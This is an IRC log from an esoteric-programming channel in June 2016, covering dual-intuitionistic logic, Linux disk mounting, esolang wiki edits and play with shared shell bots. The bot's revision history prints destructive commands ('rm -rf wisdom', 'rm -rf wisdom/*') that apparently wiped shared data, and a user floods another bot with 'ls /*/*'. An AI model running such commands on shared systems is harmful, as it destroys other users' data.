we have that? 11:48:44 Taneb: What's it called? 11:49:17 Oh, that was easy 11:49:17 (no-one talks there any more and it has two people in it) 11:49:27 Taneb: wrong hth 11:50:06 hppavilion[1], I was talking about a different channel, with that last message 11:50:23 Oh. 11:50:58 Why am I in two pitifully underused Minecraft-specific side channels for computer science irc channels that ten minutes ago had two people in? 11:51:01 I do not know 11:53:27 I'm gonna head off for a bit 11:57:13 Taneb: What, without inventing anything first? 11:57:37 tanobverflow 12:16:28 -!- boily has quit (Quit: IMPOSSIBLE CHICKEN). 12:25:54 -!- atrapado has quit (Ping timeout: 244 seconds). 13:00:05 -!- AnotherTest has joined. 13:08:35 Phantom_Hoover: Oh, and in the end 13:14:46 -!- AnotherTest has quit (Ping timeout: 272 seconds). 13:24:58 -!- spiette has joined. 13:39:21 -!- Sgeo has quit (Ping timeout: 240 seconds). 13:49:15 There's someone with the nick Dinnerbone on #minecraft 13:49:28 And I'm not sure whether it is actually Dinnerbone or just someone with the nick there to confuse people xD 13:49:51 It probably is the real person due to the fact that Mojang seems to actually control #minecraft 13:50:17 But I have the nagging feeling if I make the assumption I'll embarrass myself 13:55:52 `? google sand 13:56:15 google sand? ¯\(°​_o)/¯ 14:19:48 fungot, do you like google sand? 14:19:49 b_jonas: user tty login idle fnord fnord what is not 14:20:43 eh what? 14:20:59 fungot! what crazy style are you set to? you're eating koopas 14:20:59 b_jonas: you take it's " offset" 14:21:04 fungot: no I'm not 14:21:05 b_jonas: actually i can't. something's not right. if it can be 14:21:43 fungot: yes, something's not right. snap out of it and go to some saner style please. 14:21:43 b_jonas: no math skills, no thinking skills, need some plain simple stuff 14:34:01 [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47212&oldid=47211 * 216.188.250.122 * (-98) 14:42:36 -!- jaboja has joined. 14:43:55 [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47213&oldid=47212 * 216.188.250.122 * (-16) 14:46:31 -!- Sgeo has joined. 14:48:43 -!- equipo12 has joined. 14:50:02 -!- equipo12 has quit (Quit: Saliendo). 15:10:13 -!- nycs has joined. 15:25:30 -!- PinealGlandOptic has joined. 15:32:24 -!- bender__ has joined. 15:34:42 -!- iaglium has quit (Ping timeout: 276 seconds). 15:34:59 -!- bender__ has changed nick to bender. 15:35:11 -!- bender has quit (Changing host). 15:35:11 -!- bender has joined. 15:40:16 -!- bender has quit (Ping timeout: 250 seconds). 15:46:03 -!- jaboja has quit (Read error: Connection reset by peer). 15:58:56 -!- Akaibu has joined. 16:08:03 -!- bender has joined. 16:27:44 -!- digitalcold has quit (Quit: Reconnecting). 16:27:51 -!- digitalcold has joined. 16:43:58 -!- bender has quit (Ping timeout: 250 seconds). 16:45:03 -!- bender has joined. 16:46:38 [wiki] [[Special:Log/newusers]] create * Erikkonstas * New user account 16:51:41 [wiki] [[Omam]] https://esolangs.org/w/index.php?diff=47214&oldid=36977 * Erikkonstas * (+177) Added cat program. 17:01:57 -!- sebbu has quit (Ping timeout: 246 seconds). 17:03:20 -!- sebbu has joined. 17:27:41 -!- Kaynato has joined. 17:31:25 -!- AnotherTest has joined. 17:45:35 -!- AnotherTest has quit (Ping timeout: 260 seconds). 17:52:19 -!- augur has joined. 17:56:20 -!- bender has quit (Ping timeout: 250 seconds). 17:58:00 -!- gamemanj has joined. 18:14:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 19:44:48 -!- moon_ has joined. 19:46:07 im working on havocbot's framework 19:46:49 -!- jaboja has joined. 20:01:09 -!- `^_^ has joined. 20:03:48 -!- nycs has quit (Ping timeout: 276 seconds). 20:23:45 -!- jaboja has quit (Read error: Connection reset by peer). 20:24:20 -!- AnotherTest has joined. 20:24:30 -!- moon_ has quit (Ping timeout: 250 seconds). 20:39:42 -!- AnotherTest has quit (Ping timeout: 250 seconds). 20:44:08 -!- moon_ has joined. 20:44:20 how do i mount a disk in debian again? 20:45:06 mount /dev/sdXY /some/dir 20:47:33 damn 20:47:55 what filesystem does gentoo use? its apparently not EXT4 20:48:16 and i cant reformat because this disk contains data 20:51:23 moon_ type in "mount" and then find out 20:51:48 i tried mounting the drives already, if thats wha you mean 20:51:53 whats a 'superblock'? 20:51:59 ...what I mean is, 20:52:07 "mount" shows everything currently mounted 20:52:15 unless you can't mount it, in which case... 20:52:42 im trying to mount what used to be the /s drive 20:52:43 you may be in a "pickle" 20:53:02 u knw 20:53:07 havocbot's old /s 20:53:12 "/s"? 20:53:38 it was the file that b_jonas assigned a drive to, mainly the secondary drive 21:00:35 apparently the partition is a DOS partition?! 21:01:30 "what filesystem does gentoo use" 21:01:32 lol 21:01:48 you obviosly don't use linux very much 21:01:53 im fairly certain it is EXT4, like all linux :P 21:01:57 nope xD 21:02:17 fat32 - the universal standard, everybody loves, fat32, fat32, the universal standard - it's not outdated at all... 21:02:48 oh, gentoo uses fat32? 21:02:50 ... 21:02:54 looool 21:02:55 or not 21:03:03 "gentoo uses" nothing 21:03:19 it puts its files on whatever you serve to it 21:03:19 it's what whoever decided to set the system up uses 21:03:52 i used ext4, the default, unless b_jonas intialized the secondary drive wierdly 21:18:39 hbot 2 is online 21:28:36 -!- J_Arcane_ has joined. 21:30:03 -!- J_Arcane has quit (Ping timeout: 240 seconds). 21:30:16 -!- J_Arcane_ has changed nick to J_Arcane. 21:38:38 -!- J_Arcane_ has joined. 21:40:03 -!- J_Arcane has quit (Ping timeout: 240 seconds). 21:40:18 -!- J_Arcane_ has changed nick to J_Arcane. 21:48:47 anyone alive? havocbot is online, and alot safer 21:50:02 where is the fun in that 21:50:56 s/alot/a little/ 21:51:01 im no good at security 22:11:17 -!- gamemanj has quit (Ping timeout: 244 seconds). 22:11:26 -!- xkapastel has joined. 22:16:17 -!- xkapastel has quit (Changing host). 22:16:17 -!- xkapastel has joined. 22:26:22 how do you test it? 22:27:03 >> ls 22:27:10 ? 22:27:15 wait 22:27:17 wrong channel 22:27:20 well 22:27:27 its runnin in #esoteric-blah 22:30:04 -!- PinealGlandOptic has quit (Ping timeout: 252 seconds). 22:36:06 -!- `^_^ has quit (Quit: This computer has gone to sleep). 22:51:25 -!- heroux_ has joined. 22:52:39 -!- heroux has quit (Ping timeout: 264 seconds). 22:52:46 -!- heroux_ has changed nick to heroux. 23:08:24 <\oren\> hey im back in toronto! 23:10:31 -!- heroux has quit (Read error: Connection reset by peer). 23:11:00 -!- heroux has joined. 23:15:36 -!- boily has joined. 23:33:14 -!- augur has quit (Remote host closed the connection). 23:34:38 -!- Koen_ has joined. 23:47:45 -!- heroux has quit (Ping timeout: 250 seconds). 23:53:02 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 23:53:33 -!- heroux has joined. 2016-06-16: 00:01:08 -!- spiette has quit (Quit: :qa!). 00:04:40 -!- haavardp has joined. 00:05:29 -!- diginet_ has joined. 00:07:12 -!- yorick__ has joined. 00:07:12 -!- yorick__ has quit (Changing host). 00:07:12 -!- yorick__ has joined. 00:07:33 -!- nortti_ has joined. 00:07:53 -!- toon_ has joined. 00:07:55 -!- FreeFull_ has joined. 00:07:59 -!- espes___ has joined. 00:08:00 -!- SupayrPo1ey has joined. 00:08:02 -!- b_jonas_ has joined. 00:08:03 -!- Warrigal has joined. 00:08:13 -!- kragniz_ has joined. 00:11:27 -!- ybden- has joined. 00:12:42 -!- Warrigal has quit (Changing host). 00:12:42 -!- Warrigal has joined. 00:12:44 -!- tswett has quit (Disconnected by services). 00:12:48 -!- Warrigal has changed nick to tswett. 00:12:55 -!- b_jonas has quit (*.net *.split). 00:12:55 -!- FreeFull has quit (*.net *.split). 00:12:55 -!- diginet has quit (*.net *.split). 00:12:55 -!- SupayrPoney has quit (*.net *.split). 00:12:55 -!- Yurume_ has quit (*.net *.split). 00:12:55 -!- myname has quit (*.net *.split). 00:12:55 -!- nortti has quit (*.net *.split). 00:12:55 -!- espes__ has quit (*.net *.split). 00:12:55 -!- toon has quit (*.net *.split). 00:12:55 -!- kragniz has quit (*.net *.split). 00:12:55 -!- yorick has quit (*.net *.split). 00:12:55 -!- ybden has quit (*.net *.split). 00:12:56 -!- catern has quit (*.net *.split). 00:12:56 -!- paul2520 has quit (*.net *.split). 00:12:56 -!- haavard has quit (*.net *.split). 00:12:58 -!- diginet_ has changed nick to diginet. 00:13:19 -!- kragniz_ has changed nick to kragniz. 00:14:42 -!- myname has joined. 00:16:05 -!- catern has joined. 00:20:03 -!- paul2520 has joined. 00:20:03 -!- paul2520 has quit (Changing host). 00:20:03 -!- paul2520 has joined. 00:22:10 -!- Yurume_ has joined. 00:29:56 boily: hello 00:39:02 boily: helloily 00:42:13 helloon 00:42:58 quinthellopia, mhelloon_! 00:50:39 -!- hppavilion[1] has joined. 00:53:11 hi hppavilion[1] 00:53:12 boily 00:53:21 havocbot is reloaded and remade 00:53:28 now with gcc and debian 01:05:36 Cale: It's funny that "T-algebra" means something different from "F-algebra" when both F and T are variables. 01:05:44 yes 01:06:17 Well, really it's that monad-algebras mean something different from functor-algebras 01:07:02 It's also funny that you seem to use some kind of modular offset when deciding in which channel to reply to me about a message :D 01:08:22 Oh, well, I don't talk in some channels. 01:08:32 hppavellon[1], hellochaf, Callo. 01:08:42 ahoily 01:08:45 helloon_ 01:20:09 My favorite die is the spherical die 01:21:58 http://www.supermegacomics.com/images/382.gif 01:25:10 Huh, James Grime doesn't have a wikipedia page 01:26:45 I seem to be too genre savy for xkcd 01:27:03 I read today's and I got the joke wrong, but it was the joke that was used in the title text 01:28:42 hppavilion[1]: 01:28:43 -!- Kaynato has quit (Ping timeout: 250 seconds). 01:28:48 moon_: 01:28:53 boily turned #esoteric-blah into madville 01:29:08 he/se >> ls /*/* 'd havocbot 01:29:26 i stoped it and a flood came out that the !flush command wouldnt work 01:33:01 MWAH AH AH AH AH AH AH AH AH AH :D 01:51:22 -!- Phantom__Hoover has joined. 02:00:37 hiaphantom 02:00:39 *phantom 02:02:20 the canonical porthello for Phantom__Hoover is Phantom__Helloover hth 02:05:53 -!- xkapastel has quit (Quit: Connection closed for inactivity). 02:09:43 -!- Phantom__Hoover has quit (Quit: Leaving). 02:09:54 resolved 02:11:32 -!- hppavilion[1] has quit (Ping timeout: 244 seconds). 02:16:37 _left_distributivity : (a b c : Element) => Multiplicative.compose a (Additive.compose b c) = Additive.compose (Multiplicative.compose a b) (Multiplicative.compose a c) 02:16:42 Is it just me, or is that a little verbose? 02:16:51 `` echo wisdom/phantom*hoover 02:17:06 wisdom/phantom_hoover wisdom/phantom__hoover wisdom/phantom______hoover wisdom/phantom___________________hoover wisdom/phantom________________hoover wisdom/phantom______________________________________________hoover 02:17:14 -!- Akaibu has quit (Quit: Connection closed for inactivity). 02:17:33 holy fungot. 02:17:34 boily: yes, you must attend to your master. 02:17:43 * boily attends do fungot 02:17:44 boily: i can markov if you want to do is hang out with friends. not for initially understanding a library. it should be raining, not snowing. 02:18:06 "It should be raining. It should be raining. It should be raining. Amen. ♪" 02:22:07 `` echo wisdom/phantom*hoover 02:22:14 wisdom/phantom_hoover wisdom/phantom__hoover wisdom/phantom_______hoover wisdom/phantom______________hoover wisdom/phantom_________________hoover wisdom/phantom_____________________________hoover 02:22:29 `` cat wisdom/phantom*hoover 02:22:32 Phantom Michael Hoover is a true Scotsman, hatheist, and completely out of the loop. \ Phantom__Hoover can't decide what an appropriate number of underscores is. \ Phantom______Hoover sucks at ghosting himself. \ It doesn't get any better than this. \ OK you got me there. \ Your soundcard works perfectly. 02:23:09 What is a hatheist? Is that related to thausible? 02:23:15 `? hatheist 02:23:17 hatheist? ¯\(°​_o)/¯ 02:23:21 `? thausible 02:23:22 thausible? ¯\(°​_o)/¯ 02:23:23 `? i,i 02:23:25 i,i i,i what is i,i 02:23:45 `` ls wisdom/hat* 02:23:47 wisdom/hat 02:23:50 `? thausiblee 02:23:50 `? hat 02:23:53 A thausiblee is the recipient of a thausible action. 02:23:55 hatee-hatee-hatee-hoooooooo 02:25:51 -!- boily has quit (Quit: FOOTLONG CHICKEN). 02:53:18 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds). 02:59:37 -!- iaglium has joined. 03:11:00 a hatheist doesnt believe in hats 03:13:04 -!- FreeFull_ has changed nick to FreeFull. 03:13:13 <\oren\> I thought they don't believe in hathor 03:13:50 no one believes in hathor 03:14:14 some dont believe in anne hathaway 03:14:37 she was faked in a hollywood studio...or so they say 03:14:50 <\oren\> I've only heard of anne hathaway, never seen her. 03:15:30 i dont know anyone who has seen her in person 03:15:51 maybe all those who claimed to were lying? 03:16:17 like they were about sweden 03:24:13 shouldn't a hatheist specifically *believe* in hath-things? 03:28:53 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 03:31:15 `url bin/med 03:31:27 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/med 03:37:38 -!- augur has joined. 04:11:38 -!- moon_ has quit (Ping timeout: 250 seconds). 04:15:12 -!- nortti_ has changed nick to nortti. 04:29:47 -!- Moon_ has joined. 04:30:15 My friend came home drunk with a beer bottle lodged in his pants, you have three guesses on why 04:31:18 \oren\: she died in the 17th century hth 04:31:19 Hppa 04:32:15 Wrong chat and damn enter key at the same time 04:41:06 -!- Moon_ has quit (Ping timeout: 250 seconds). 04:54:15 -!- Phantom_Hoover has joined. 05:02:04 -!- Moon_ has joined. 05:17:27 -!- hppavilion[1] has joined. 05:19:08 Hi hppa 05:23:36 [wiki] [[Special:Log/newusers]] create * KelsonBall * New user account 05:30:28 Moon_: Hello 05:41:20 -!- Moon_ has quit (Ping timeout: 250 seconds). 05:41:52 `decode 05:42:05 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: decode: not found 05:45:05 `unidecode h 05:45:11 ​[U+0068 LATIN SMALL LETTER H] 05:45:13 Sgeo: ^ 05:45:29 `unidecode 05:45:30 ty 05:45:38 U+0008 \ UTF-8: 08 UTF-16BE: 0008 Decimal:  \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) 05:46:02 I don't know whether to blame SteamVR or HexChat 05:47:13 [wiki] [[Symbolic Brainfuck]] N https://esolangs.org/w/index.php?oldid=47215 * KelsonBall * (+4133) Created page with "= Symbolic Brainfuck = '''Symbolic Brainfuck''' is a brainfuck derivative that adds "symbolic references" to 8 named registers, as well as adding "reference" and "dereference"..." 05:49:13 <\oren\> here sgeo 05:49:15 <\oren\> ℎ 05:52:40 [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47216&oldid=47215 * KelsonBall * (+2055) Added Hello World example. 05:54:14 [wiki] [[Symbolic Brainfuck]] M https://esolangs.org/w/index.php?diff=47217&oldid=47216 * KelsonBall * (+4) 05:54:20 `? chu space 05:54:23 A Chu space is just a matrix. Taneb invented them, then Chu stole his invention. 05:55:07 `learn A matrix is just a matrix. Taneb invented them. 05:55:15 Learned 'matrix': A matrix is just a matrix. Taneb invented them. 05:55:52 [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47218&oldid=47217 * KelsonBall * (+35) 05:57:32 `le/rn modal logic/"modal logic" means "the most common logic" (that is, classical logic). 05:57:36 Learned «modal logic» 06:00:49 [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47219&oldid=47218 * KelsonBall * (+281) Added differences section 06:01:35 [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47220&oldid=47219 * KelsonBall * (+5) 06:02:34 `? per martin-löf 06:02:36 ​"per Martin-Löf" is a common citation lazy logicians use when they don't want to prove their theorems. It rarely gets past peer review. 06:03:00 `learn A perfunctory proof is a category-theoretical proof that cites Per Martin-Löf. 06:03:04 Learned 'perfunctory': A perfunctory proof is a category-theoretical proof that cites Per Martin-Löf. 06:03:21 [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47221&oldid=47220 * KelsonBall * (-580) /* Hello World */ 06:03:55 <\oren\> `learn A Tall proof is a proof with a small hole, which can only be filled by another Tall proof. 06:03:59 Learned 'tall': A Tall proof is a proof with a small hole, which can only be filled by another Tall proof. 06:04:40 <\oren\> `learn A Steprans variable is a variable whose notation is variable. 06:04:44 Learned 'stepran': A Steprans variable is a variable whose notation is variable. 06:05:02 What? 06:05:10 i don't get your wisdom entries 06:05:34 <\oren\> These are things my dad named after his coworkers' idiosyncrancies 06:06:31 Seems a little scow to use personal idiosyncrasies in this channel. 06:06:37 shachaf: I think it's like a tall tale? 06:06:57 <\oren\> Juris Steprans is well known among people at yorku for having variables which change letters 06:07:55 <\oren\> He'll say, suppose A is a field, with... and so in the field F, we see... 06:08:38 <\oren\> Other people do this as well, but now the phenomenon has a name 06:09:07 [6~[6~/y 06:09:24 <\oren\> uh, are you trying to page-down? 06:09:28 `learn A phenomenom is a name given to a phenomenon. 06:09:32 Learned 'phenomenom': A phenomenom is a name given to a phenomenon. 06:10:11 \oren\: I have a laggy connection 06:10:16 which sometimes results in some weird stuff 06:11:22 <\oren\> yeah. the button page down actuall sends ESC [ 6 ~ 06:11:41 <\oren\> so I guess the ESC didn't go through 06:13:59 <\oren\> Hmm what if a language autocorrected misspelt names? 06:14:05 `le/rn_append phenomenom/The collection of them is called "phenomenomenclature". 06:14:11 Learned 'phenomenom': A phenomenom is a name given to a phenomenon. The collection of them is called "phenomenomenclature". 06:17:41 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 06:25:13 -!- PinealGlandOptic has joined. 06:27:23 <\oren\> I've started flying the same spacecraft over and over 06:30:24 [wiki] [[Brainfuck]] M https://esolangs.org/w/index.php?diff=47222&oldid=47048 * KelsonBall * (+137) /* Related languages */ Added Symbolic Brainfuck 06:30:27 -!- deltab has quit (Ping timeout: 246 seconds). 06:44:20 -!- hppavilion[1] has quit (Ping timeout: 244 seconds). 06:59:37 `? modal logic 06:59:41 ​"modal logic" means "the most common logic" (that is, classical logic). 07:00:12 rntz: i didn't realize you were such a fan of classical logic 07:03:16 -!- deltab has joined. 07:03:19 am I? 07:03:39 oic. 07:03:58 I'm a constructivist among the classicists and a classicist among the constructivists 07:04:41 but it's probable that I will never not like modal logic 07:04:59 i,i classist logic 07:05:20 the dual of marxist logic 07:06:27 i,i marx and sweep 07:08:02 rntz: Do you know anything about dual-intuitionistic logic? 07:08:12 The person on IRC who knew about it hasn't been around in a while. 07:08:54 no, not really 07:09:34 I was wondering whether it's related to Set^op. 07:10:07 probably not? Set is a model of classical logic, after all 07:10:14 (I think?) 07:10:31 Well, Hask^op. Something^op. 07:10:35 c.c 07:11:11 https://projecteuclid.org/euclid.ndjfl/1039886520 is this the dual intuitionistic logic you're thinking of? 07:11:13 Dual-intuitionistic logic has Not (Not P) be a stronger statement than P. 07:11:41 Yes, I think that's the one. 07:11:43 hwaet 07:12:00 You have double-negation elimination but not double-negation introduction. 07:12:30 um, classical logic also doesn't have double-negation introduction 07:12:33 in what state is P then? 07:12:39 it does 07:12:43 I mean, you can introduce double negations, but there's no *rule* to introduce them 07:13:07 There's no rule to eliminate them either. 07:13:15 no, in some formulations there is 07:13:32 that is, classical logic can be seen as precisely intuitoinistic logic plus a rule for double negation elimination 07:13:37 Well, you probably get it from LEM, P | ¬P 07:13:58 that's not the *only* way to formulate classical logic, but it's *a* way 07:14:03 Whereas I guess in dual-intuitionistic logic you have LEM but you don't have non-contradiction, or something? 07:14:13 it is apparently paraconsistent, yes 07:14:17 ¬(P & ¬P). Or something. 07:14:29 instead of speculating, you could read a paper :P 07:14:36 (and then explain it to me!) 07:14:43 I read bit of a paper a while ago. 07:15:04 But not very seriously. 07:15:09 ooh, http://link.springer.com/article/10.1007%2Fs11225-005-8474-7 claims a dual of intuitionistic logic is related to popperian falsification 07:15:39 "Whereas intuitionistic logic deals with constructive truth and non-constructive falsity," uh, what 07:15:50 negation in intuitionistic logic is totally constructive! 07:15:58 well, constructively destructive, at any rate 07:16:08 although I suppose one might distinguish negation from falsehood 07:16:12 (dunno how) 07:16:21 I mean, you prove negation in constructive logic in a way that looks a lot like "proof by contradiction". 07:16:37 yeah, because negation is *literally* "implies contradiction" :P 07:16:46 it's perfectly constructive: you're showing how to get contradiction from X 07:17:12 I wish I could remember what the paper I'm thinking of is. 07:17:15 (this is another thing where I should just read the paper to see what it means instead of mouthing off) 07:17:32 Well, you have an excuse, because apparently the paper costs $40 to read. 07:17:55 http://philosophy.stackexchange.com/questions/11448/why-is-intuitionistic-negation-nonconstructive 07:18:12 http://kdpu.edu.ua/shramko/files/2005_Studia_Logica_Dual_Intuitionistic_Logic_and_a_Variety_of_Negations_The_Logic_of_Scientific_Research.pdf <- "costs" "$40" 07:20:00 You get intuitionistic linear logic by restricting things so that there's at most one thing on the right side of the turnstile, right? 07:20:14 If I remember correctly you get the dual by restricting it so that there's at most one thing on the left side. 07:20:36 Which would make more sense to me if I had a better understanding of par, I'm sure. 07:20:37 that seems appropriate 07:21:08 par has a nice session-types interpretation in a one-sided setting 07:21:08 -!- toon_ has changed nick to toon. 07:21:27 (A tensor B) is output A then B; (A par B) is input A then B. or something like that. 07:21:43 wadler's sessions as types has more on that, I think 07:21:54 So does that seminar paper, I think. 07:21:57 (well, not specifically on that. but it is a session-type interpretation in a one-sided setting) 07:22:04 seminar paper? 07:22:12 In #-seminar. 07:23:06 the dfa paper? 07:23:13 wait, that uses *classical* linear logic?! 07:23:26 no, it doesn't 07:23:41 at least it doesn't look like it 07:24:12 Ah, I guess it's not for par. 07:24:30 what were you thinking of? 07:25:10 I don't remember. 07:25:47 "I highlight the importance of the notion of falsity for a semantical consideration of intuitionistic logic. One can find two principal (and non-equivalent) versions of such a notion in the literature, namely, falsity as non-truth and falsity as truth of a negative proposition. I argue in favor of the first version as the genuine intuitionistic notion of falsity" 07:26:04 is this the shramko paper? 07:26:08 Yes. 07:26:08 that http://philosophy.stackexchange.com/questions/11448/why-is-intuitionistic-negation-nonconstructive mentions? 07:26:16 Yes. 07:27:32 hm, the abstract says "and Nelson's logic takes both truth and falsity as constructive notions" 07:27:39 what is this Nelson's logic 07:28:17 Wait, there are two different PDFs. 07:29:44 «According to the first view, “A is true” should be understood as “A has been (actually) proved”, whereas the second view interprets this as “A is (in principle) provable (A can be proved)”. In the first case truth is essentially of a temporal character. It is not uncommon that for some sentence no actual proof was available yesterday, but today we are lucky enough to obtain such a proof (re 07:29:50 call Fermat’s Last Theorem or ... 07:29:52 ... Poincaré Conjecture). In the second case we deal with a tenseless notion — a possibility of a proof of a true sentence must always be present even if nobody knows its actual proof so far (otherwise the very notion of possibility would be destroyed).» 07:29:56 hm 07:31:07 http://plato.stanford.edu/entries/logic-connexive/ 07:34:44 rntz: I wonder if this is related to your T,F classical logic from the other day. 07:43:17 rntz: Is this Popperian falsifiability related to topology? 08:18:06 -!- hppavilion[1] has joined. 08:25:09 -!- SupayrPo1ey has changed nick to SupayrPoney. 08:59:03 -!- bender__ has joined. 08:59:15 -!- bender__ has quit (Changing host). 08:59:15 -!- bender__ has joined. 08:59:30 -!- bender__ has changed nick to bender. 09:02:47 -!- oerjan has joined. 09:04:41 Huh, all 14 9/11 hijackers are on the US no-fly list 09:04:55 I mean, obviously they were terrorists who shouldn't be allowed on airplanes 09:04:58 But they're also dead 09:05:30 I mean, is the united states particularly concerned about zombie terrorism? 09:07:28 BRAINS 09:08:31 `? oerjan 09:08:59 pedantic like a STASI agent traces every unknown user. but why? game? tradition? misinformation? uncivilized sports .. ultraviolant on christmas eve. (old text: wisdom/oerjan_) 09:09:13 `culprits wisdom/oerjan 09:10:54 slowckego 09:11:02 `hoag wisdom/oerjan 09:11:20 Even the codu.org page is timing out. 09:14:50 "My website is so broken that it couldn't find the 404 page" 09:15:11 No output. 09:15:20 le/rn oerjan/pedantic like a STASI agent traces every unknown user. but why? game? tradition? misinformation? uncivilized sports .. ultraviolant on christmas eve. (old text: wisdom/oerjan_) \ le/rn oerjan/pedantic like a STASI agent traces every unknown user. but why? game? tradition? misinformation? unciviliz 09:16:51 Oh, hagb4rd. 09:17:11 shachaf: That makes more sense 09:18:00 `` hg cat -r 8437 wisdom/oerjan > wisdom/oerjan; rm wisdom/oerjan_ 09:18:25 No output. 09:18:38 `? oerjan 09:18:41 Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 09:18:52 shachaf: You should probably check what's in wisdom/oerjan_ first 09:19:09 `1 before 09:19:25 wisdom/oerjan wisdom/oerjan_: no such file in rev 1b910db2f8a0 \ 1/1:wisdom/oerjan wisdom/oerjan_// 09:19:29 Hm. 09:19:53 I guess before doesn't work very well on multiple files. 09:20:07 Anyway I saw the commands on codu.org 09:20:13 Oh, hagb4rd. <-- no surprises. 09:20:21 `` hg cat -r -2 wisdom/oerjan_ 09:20:26 ​"Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, 'amortized' pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it" 09:21:09 hagb4rd is a very persistent troll. 09:21:22 We can thank Taneb for that, I guess. 09:21:47 huh? 09:21:47 i,i http://www.supermegacomics.com/index.php?i=333 09:22:12 `? persistence 09:22:16 Taneb invented persistence long ago, and it's been around ever since. 09:22:46 What /does/ "amortized" mean, anyway? 09:22:56 it's funny, it wasn't even i who did most of the tracing last time. 09:23:08 hppavilion[1]: Resurrection. 09:23:15 shachaf: That seems to obvious 09:23:18 *too 09:23:21 * seppuku 09:23:59 @wn amortized 09:24:01 No match for "amortized". 09:24:12 @wn amortize 09:24:13 *** "amortize" wn "WordNet (r) 3.0 (2006)" 09:24:13 amortize 09:24:13 v 1: liquidate gradually [syn: {amortize}, {amortise}] 09:24:22 @wn amortization 09:24:25 *** "amortization" wn "WordNet (r) 3.0 (2006)" 09:24:27 amortization 09:24:29 n 1: the reduction of the value of an asset by prorating its 09:24:31 cost over a period of years [syn: {amortization}, 09:24:33 {amortisation}] 09:24:35 2: payment of an obligation in a series of installments or 09:24:37 transfers [syn: {amortization}, {amortisation}] 09:24:55 the "amor ties" between two individuals are the bonds of love holding them together 09:25:05 n individuals, maybe i should say 09:25:41 I assume the kind of amortization oerjan is talking about is the algorithm analysis kind, though. 09:28:39 i don't know. gradual liquidation sounds like something an overlord would do. 09:28:56 although it's a bit of a violation of the overlord list. 09:30:23 I felt pretty unhelpful after all those explanations so I figured I would say something helpful for once. 09:30:45 very good, shachaf 09:30:55 i've been duly reprimanded, though 09:31:09 it may not happen again 09:31:24 * oerjan did not notice the reprimand. 09:31:49 -!- augur has quit (Remote host closed the connection). 09:31:51 Did you see all my wisdom entries? 09:32:15 `sled wisdom/oerjan//s/over/zombie over/ 09:32:17 -!- augur has joined. 09:32:20 wisdom/oerjan//Your mysterious renouned cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 09:32:57 Hmm, if you become amortized now, would you be a zombie emeritus overlord? 09:33:14 shachaf: no i did not see them. 09:33:17 -!- heroux has quit (Ping timeout: 244 seconds). 09:33:32 -!- heroux has joined. 09:34:33 `` hoag wisdom/oerjan | tail -n5 09:34:46 run rm -rf wisdom \ run echo "Your evil overlord oerjan is a lazy expert in future computation. Also a lying Norwegian." >wisdom/oerjan \ revert 0 \ run rm -rf wisdom/* \ Initial import. 09:34:48 Why did I say you were a lying Norwegian? 09:36:39 -!- augur has quit (Ping timeout: 250 seconds). 09:41:54 obviously you were lying hth 10:23:40 `` find wisdom wisdom -type f | wc -l 10:23:45 -!- PinealGlandOptic has quit (Ping timeout: 276 seconds). 10:24:00 2246 10:26:13 I'm surprised no one in the 0.01% is lobbying the government to allow ordinal worth 10:27:29 -!- b_jonas_ has changed nick to b_jonas. 10:28:37 `? hppavillion 10:28:39 hppavillion? ¯\(°​_o)/¯ 10:28:41 `? hppavillion[1] 10:28:42 hppavillion[1]? ¯\(°​_o)/¯ 10:28:48 oh. 10:28:51 `? hppavilion 10:28:53 hppavilion is the generator including, but not limited to, hppavilion[1], hppavilion[2], and hppavilion[42]. hppavilion is of length 37-42i-28j+4k-28ij+38ik+62jk+20ijk 10:29:02 `` find wisdom -type f | wc -l 10:29:03 1123 10:29:17 `? int-e 10:29:19 `` ls wisdom/hpp* 10:29:19 int-e är inte svensk. Hen kommer att spränga solen. Hen står för sig själv. 10:29:20 wisdom/hppavilion \ wisdom/hppavilion1 \ wisdom/hppavilion[1] \ wisdom/hppavilion[42] 10:29:47 there appears to be quite a bit of wisdom. 10:30:00 `? clever 10:30:01 Being clever is different from being wise, but they are indistinguishable in sufficiently large quantities. 10:30:02 anyway, hppavilion[1], I find your ideas a bit too random even for this channel. 10:30:16 Vaut? 10:30:47 The saying I know is: "A clever person can get out of trouble that a wise person doesn't get into." 10:31:15 shachaf: Yes, which is part of why they're indistinguishable- nothing comes of the trouble 10:33:49 `? cat 10:33:50 Cats are cool, but should be illegal. 10:37:36 `` echo $'a\nb' | tac 10:37:38 No output. 10:37:41 `` type -a tac 10:37:42 tac is /hackenv/bin/tac \ tac is /usr/bin/tac 10:37:44 `cat bin/tac 10:37:44 ​#!/bin/bash \ for file do mapfile -t lines < "$file"; for (( i = ${#lines[@]} -1; i >= 0; i-- )) do printf "%s\n" "${lines[i]}"; done done 10:37:49 `` echo $'a\nb' | /usr/bin/tac 10:37:51 b \ a 10:37:56 What's bin/tac all about? 10:37:59 `culprits bin/tac 10:38:07 izabera izabera izabera 10:38:19 I 